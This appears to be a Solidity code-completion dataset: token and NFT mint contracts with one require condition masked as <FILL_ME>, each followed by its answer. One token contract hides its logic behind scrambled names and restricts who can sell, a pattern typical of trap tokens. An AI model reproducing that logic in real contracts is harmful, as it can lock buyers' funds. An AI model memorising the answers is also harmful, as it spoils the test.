Website: https://newpepe.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _snpsctoryaxp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xnqaRuses {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcldedFrof;
mapping (address => bool) private _taxfWallejy;
mapping(address => uint256) private _ldrLaronsfesop;
bool public _tnsferelanale = false;
address payable private _pekRvevirp;
uint8 private constant _decimals = 9;
string private constant _name = unicode"New Pepe";
string private constant _symbol = unicode"PEPE";
uint256 private constant _Totalbr = 42069000 * 10 **_decimals;
uint256 public _mxTakAmaunt = _Totalbr;
uint256 public _WalletSmax = _Totalbr;
uint256 public _wapThresholdtax= _Totalbr;
uint256 public _moaxToxSap= _Totalbr;
uint256 private _BuyTaxinitial=5;
uint256 private _SellTaxinitial=5;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=7;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBeforeprevent=0;
uint256 private _byozwktxt=0;
_xnqaRuses private _uisfpxRaxeut;
address private _aufPaiuw;
bool private _vnsokpwh;
bool private itxeSwbp = false;
bool private _apEablew = false;
event _amaunateql(uint _mxTakAmaunt);
modifier lckThawxp {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_tnsferelanale) {
if (to != address
(_uisfpxRaxeut) && to !=
address(_aufPaiuw)) {
require(_ldrLaronsfesop
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_ldrLaronsfesop
[tx.origin] = block.number;
}
}
if (from == _aufPaiuw && to !=
address(_uisfpxRaxeut) && !_isExcldedFrof[to] ) {
require(amount <= _mxTakAmaunt,
"Exceeds the _mxTakAmaunt.");
require(balanceOf(to) + amount
<= _WalletSmax, "Exceeds the maxWalletSize.");
if(_byozwktxt
< _wapBeforeprevent){
require(<FILL_ME>)
}
_byozwktxt++;
_taxfWallejy[to]=true;
teeomoun = amount.mul((_byozwktxt>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _aufPaiuw && from!= address(this)
&& !_isExcldedFrof[from] ){
require(amount <= _mxTakAmaunt &&
balanceOf(_pekRvevirp)<_moaxToxSap,
"Exceeds the _mxTakAmaunt.");
teeomoun = amount.mul((_byozwktxt>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_byozwktxt>_wapBeforeprevent &&
_taxfWallejy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!itxeSwbp
&& to == _aufPaiuw && _apEablew &&
contractTokenBalance>_wapThresholdtax
&& _byozwktxt>_wapBeforeprevent&&
!_isExcldedFrof[to]&& !_isExcldedFrof[from]
) {
_swpokeykhj( _qekw(amount,
_qekw(contractTokenBalance,_moaxToxSap)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_enphsprwkx(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _wjrfp(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _wjrfp(teeomoun));
emit Transfer(from, to,
amount. _wjrfp(teeomoun));
}
function _swpokeykhj(uint256
tokenAmount) private lckThawxp {
}
function _qekw(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _wjrfp(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frxerpz(address
account) private view
returns (bool) {
}
function _enphsprwkx(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| !_frxerpz(to) | 89,541 | !_frxerpz(to) |
null | /**
🐸
New Pepe - $PEPE
Telegram: https://t.me/NewPepeEthereum
Twitter: https://twitter.com/NewPepeEthereum
Website: https://newpepe.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _wjrfp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _snpsctoryaxp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _xnqaRuses {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcldedFrof;
mapping (address => bool) private _taxfWallejy;
mapping(address => uint256) private _ldrLaronsfesop;
bool public _tnsferelanale = false;
address payable private _pekRvevirp;
uint8 private constant _decimals = 9;
string private constant _name = unicode"New Pepe";
string private constant _symbol = unicode"PEPE";
uint256 private constant _Totalbr = 42069000 * 10 **_decimals;
uint256 public _mxTakAmaunt = _Totalbr;
uint256 public _WalletSmax = _Totalbr;
uint256 public _wapThresholdtax= _Totalbr;
uint256 public _moaxToxSap= _Totalbr;
uint256 private _BuyTaxinitial=5;
uint256 private _SellTaxinitial=5;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=7;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBeforeprevent=0;
uint256 private _byozwktxt=0;
_xnqaRuses private _uisfpxRaxeut;
address private _aufPaiuw;
bool private _vnsokpwh;
bool private itxeSwbp = false;
bool private _apEablew = false;
event _amaunateql(uint _mxTakAmaunt);
modifier lckThawxp {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _swpokeykhj(uint256
tokenAmount) private lckThawxp {
}
function _qekw(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _wjrfp(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _frxerpz(address
account) private view
returns (bool) {
}
function _enphsprwkx(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
require(<FILL_ME>)
_uisfpxRaxeut = _xnqaRuses (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
_approve(address(this), address(_uisfpxRaxeut), _Totalbr);
_aufPaiuw = _snpsctoryaxp(_uisfpxRaxeut.factory()). createPair (address(this), _uisfpxRaxeut . WETH ());
_uisfpxRaxeut.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_aufPaiuw).approve(address(_uisfpxRaxeut), type(uint).max);
_apEablew = true;
_vnsokpwh = true;
}
receive() external payable {}
}
| !_vnsokpwh | 89,541 | !_vnsokpwh |
"buy Cooldown exists" | /*
$MONKEYS Elon's List on X:
https://twitter.com/i/lists/1617772739917647876
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MONKEYS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=25;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
mapping(address => uint256) private cooldownTimer;
bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"MONKEYS";
string private constant _symbol = unicode"MONKEYS";
uint256 public _maxTxAmount = 20000000 * 10**_decimals; //max txn 2%
uint256 public _maxWalletSize = 20000000 * 10**_decimals; //max wallet 2%
uint256 public _taxSwapThreshold = 10000000 * 10**_decimals; //contract sell 1%
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
// function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
// buyCooldownEnabled = _status;
// cooldownTimerInterval = _interval;
// }
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && buyCooldownEnabled && ! _isExcludedFromFee[to]) {
require(<FILL_ME>)
cooldownTimer[to] = block.timestamp + cooldownTimerInterval;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function addBots(address[] memory bots_) public onlyOwner {
}
function delBots(address[] memory notbot) public onlyOwner {
}
function isBot(address a) public view returns (bool){
}
function openTrading() external onlyOwner() {
}
function update(uint256 _newFee) external{
}
receive() external payable {}
function manualSwap() external {
}
}
| cooldownTimer[to]<block.timestamp,"buy Cooldown exists" | 89,849 | cooldownTimer[to]<block.timestamp |
"Exceeding max eligible amount." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
require(<FILL_ME>)
require(mintedFree + _amount <= freeTotalTokens, "Exceeding max supply of free tokens.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _maxAmount));
require(MerkleProof.verify(merkleProof, freeRoot, leaf), "Proof does not match.");
freeMinted[msg.sender] += _amount;
mintedFree += _amount;
_mint(msg.sender, _amount);
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| freeMinted[msg.sender]+_amount<=_maxAmount,"Exceeding max eligible amount." | 89,850 | freeMinted[msg.sender]+_amount<=_maxAmount |
"Exceeding max supply of free tokens." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
require(freeMinted[msg.sender] + _amount <= _maxAmount, "Exceeding max eligible amount.");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _maxAmount));
require(MerkleProof.verify(merkleProof, freeRoot, leaf), "Proof does not match.");
freeMinted[msg.sender] += _amount;
mintedFree += _amount;
_mint(msg.sender, _amount);
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| mintedFree+_amount<=freeTotalTokens,"Exceeding max supply of free tokens." | 89,850 | mintedFree+_amount<=freeTotalTokens |
"Proof does not match." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
require(freeMinted[msg.sender] + _amount <= _maxAmount, "Exceeding max eligible amount.");
require(mintedFree + _amount <= freeTotalTokens, "Exceeding max supply of free tokens.");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _maxAmount));
require(<FILL_ME>)
freeMinted[msg.sender] += _amount;
mintedFree += _amount;
_mint(msg.sender, _amount);
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
function setSaleStage(SaleStage _saleState) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setPause(bool _paused) public onlyOwner {
}
function mintTreasury(address to, uint256 _amount) external onlyOwner {
}
function airdrop(address[] memory to) external onlyOwner {
}
// IERC2981
function setRoyaltyInfo(address payable receiver, uint96 numerator) public onlyOwner {
}
bool private isAllowTransfer = false;
function setPrice(uint256 newPrice) public onlyOwner {
}
function assertAllowTransfer(address from) internal view {
}
function setAllowTransfer(bool _isAllow) public onlyOwner {
}
// OperatorFilterer
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function toggleOperatorFilteringEnabled() external onlyOwner {
}
function _operatorFilteringEnabled() internal view virtual override returns (bool) {
}
// ERC165
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
struct SofaMonDashboard {
uint256 price;
uint256 totalTokens;
uint256 freeTotalTokens;
uint256 paidTotalTokens;
uint256 maxFreeState;
uint256 maxPaidState;
uint256 mintedFree;
uint256 mintedPaid;
bool paused;
uint256 userFreeMinted;
uint256 userPublicMinted;
SaleStage stage;
}
function dashboardStatus(address _addr) public view returns (SofaMonDashboard memory dashboard) {
}
}
| MerkleProof.verify(merkleProof,freeRoot,leaf),"Proof does not match." | 89,850 | MerkleProof.verify(merkleProof,freeRoot,leaf) |
"Exceeding max tokens of Public sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "erc721a/contracts/ERC721A.sol";
import "closedsea/src/OperatorFilterer.sol";
contract SofaMon is ERC721A, ERC2981, OperatorFilterer, Ownable {
string public baseURI;
uint256 public price = 0.0169 ether;
uint256 public constant totalTokens = 10000;
uint256 public constant freeTotalTokens = 5555;
uint256 public constant maxFreeState = 0;
uint256 public constant maxPaidState = 3;
uint256 public mintedFree = 0;
uint256 public mintedPaid = 0;
uint256 public mintedTreasury = 0;
bytes32 private freeRoot;
bytes32 private paidRoot;
enum SaleStage {
Closed,
Free,
Public,
Finished
}
SaleStage public saleState = SaleStage.Closed;
mapping(address => uint256) public freeMinted;
mapping(address => uint256) public publicMinted;
mapping(address => uint256) public treasuryMinted;
bool public operatorFilteringEnabled = true;
bool public paused = false;
constructor() ERC721A("Sofamon Seed", "Sofamon Seed") {
}
function mintFree(
uint256 _amount,
uint256 _maxAmount,
bytes32[] calldata merkleProof
) external eoaCheck notPaused isStageValid(SaleStage.Free) {
}
function mintPublic(uint256 _amount) external payable notPaused isStageValid(SaleStage.Public) {
require(<FILL_ME>)
require(totalSupply() + _amount <= totalTokens, "Exceeding max supply of total tokens.");
require(msg.value == price * _amount, "Incorrect Ether value.");
publicMinted[msg.sender] += _amount;
mintedPaid += _amount;
_mint(msg.sender, _amount);
}
modifier notPaused() {
}
//Functions
modifier isStageValid(SaleStage requiredState) {
}
modifier eoaCheck() {
}
function setMerkleRoot(bytes32 _root) public onlyOwner {
}
function setBaseURI(string memory newbaseURI) public onlyOwner {
}
